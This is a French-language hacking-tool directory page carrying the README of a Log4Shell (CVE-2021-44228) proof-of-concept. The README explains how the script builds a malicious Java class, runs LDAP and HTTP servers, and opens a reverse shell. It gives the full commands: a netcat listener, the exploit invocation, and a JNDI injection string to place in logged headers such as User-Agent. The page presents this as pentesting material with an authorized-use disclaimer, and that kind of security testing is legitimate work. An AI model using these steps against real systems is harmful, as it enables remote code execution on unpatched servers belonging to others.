Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4j-shell-poc — Un Proof-Of-Concept pour la vulnérabilité CVE-2021-44228. | Kitploit
Outils/GitHubGitHub/jiahong-guan/log4j-shell-poc
Génération de PayloadsExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubjiahong-guan/log4j-shell-poc

log4j-shell-poc

Un Proof-Of-Concept pour la vulnérabilité CVE-2021-44228.

Voir le dépôt
16il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

log4shell-poc (CVE-2021-44228)

Preuve de concept pour la vulnérabilité Log4j (CVE-2021-44228), également connue sous le nom de Log4Shell. Cet outil génère une classe Java malveillante, démarre un serveur de redirection LDAP et sert la charge utile via HTTP, permettant à un attaquant distant d'exécuter des commandes arbitraires sur une cible vulnérable.

Fonctionnalités

  • Détection automatique de l'adresse IPv4 locale comme adresse IP de liaison par défaut.
  • Prise en charge du JDK 1.8.0_20 inclus (recommandé) avec repli sur le Java système.
  • Charge utile de shell inverse intégrée (se reconnecte à un écouteur netcat).
  • Compilation propre et suppression des fichiers générés.

Prérequis

  • Python 3.6 ou supérieur
  • Les fichiers/répertoires suivants doivent être présents dans le même dossier que poc.py :
    • jdk1.8.0_20/ – une copie du JDK Oracle 1.8.0_20 (contient bin/javac et bin/java). Si absent, le script tentera d'utiliser les commandes javac et du système.
java
  • target/marshalsec-0.0.3-SNAPSHOT-all.jar – le fichier JAR marshalsec utilisé pour démarrer le serveur LDAP.
  • Installation

    1. Clonez ou téléchargez ce dépôt.
    2. Placez le dossier jdk1.8.0_20 et le JAR marshalsec comme décrit ci-dessus.
    3. Installez les dépendances Python :
      root@kitploit:~
      pip install -r requirements.txt
      

    Utilisation

    Exécutez le script avec Python :

    root@kitploit:~
    python3 poc.py [OPTIONS]
    

    Arguments de la ligne de commande

    ArgumentTypeDéfautDescription
    --useripchaîneIPv4 auto-détectéeAdresse IP à laquelle les serveurs LDAP et HTTP se lient et qu'ils annoncent. Elle doit être accessible depuis la machine cible.
    --webportentier8000Port du serveur HTTP qui sert la classe Exploit.class compilée.
    --lportentier9001Port sur lequel votre écouteur netcat attend le shell inverse. La charge utile se reconnectera à userip:lport.

    Exemple

    1. Démarrez un écouteur netcat sur votre machine d'attaque (remplacez 9001 par le port choisi) :

      root@kitploit:~
      nc -lvnp 9001
      
    2. Exécutez l'exploit :

      root@kitploit:~
      python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
      

      Si vous omettez --userip, le script utilisera automatiquement l'adresse IPv4 principale de votre machine.

    3. Le script affichera une chaîne de charge utile à injecter dans la cible vulnérable, par exemple :

      root@kitploit:~
      ${jndi:ldap://192.168.1.10:1389/a}
      
    4. Injectez cette chaîne dans tout champ de saisie ou en-tête HTTP journalisé par une instance Log4j vulnérable (par exemple, User-Agent, X-Forwarded-For, etc.). La cible se connectera au serveur LDAP, récupérera la classe malveillante depuis le serveur HTTP et exécutera le shell inverse.

    5. Vous devriez voir une connexion shell apparaître dans votre écouteur netcat.

    Fonctionnement

    1. Le script génère Exploit.java contenant le code qui ouvre un shell inverse vers userip:lport.
    2. Il compile le fichier à l'aide du JDK fourni (ou du javac système).
    3. Il démarre un serveur LDAP (via marshalsec) qui répond aux recherches JNDI avec une référence au serveur HTTP.
    4. Il démarre un serveur HTTP simple sur webport pour héberger la classe Exploit.class compilée.
    5. Lorsqu'une cible vulnérable effectue une recherche JNDI avec la charge utile injectée, elle télécharge et exécute la classe, offrant à l'attaquant un shell inverse.

    Remarques importantes

    • La charge utile du shell inverse utilise /bin/sh et est destinée aux systèmes cibles de type Unix. Pour des cibles Windows, vous devrez modifier la commande à l'intérieur de Exploit.java.
    • Le JDK 1.8.0_20 inclus est recommandé car les versions ultérieures peuvent bloquer le chargement distant de classes JNDI utilisé par cet exploit.
    • Assurez-vous que les pare-feu autorisent les connexions entrantes sur les ports spécifiés (webport et lport) et que la cible peut atteindre votre machine.

    Nettoyage

    Le script supprime automatiquement Exploit.java et Exploit.class à la sortie (normalement ou après un KeyboardInterrupt). Si vous devez conserver ces fichiers pour le débogage, commentez le bloc finally dans poc.py.

    Avertissement

    Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.

    Crédits

    • PoC original par kozmer
    • Marshalsec par mbechler
    • Vulnérabilité Log4j découverte par l'équipe de sécurité Alibaba Cloud
    Télécharger l’outil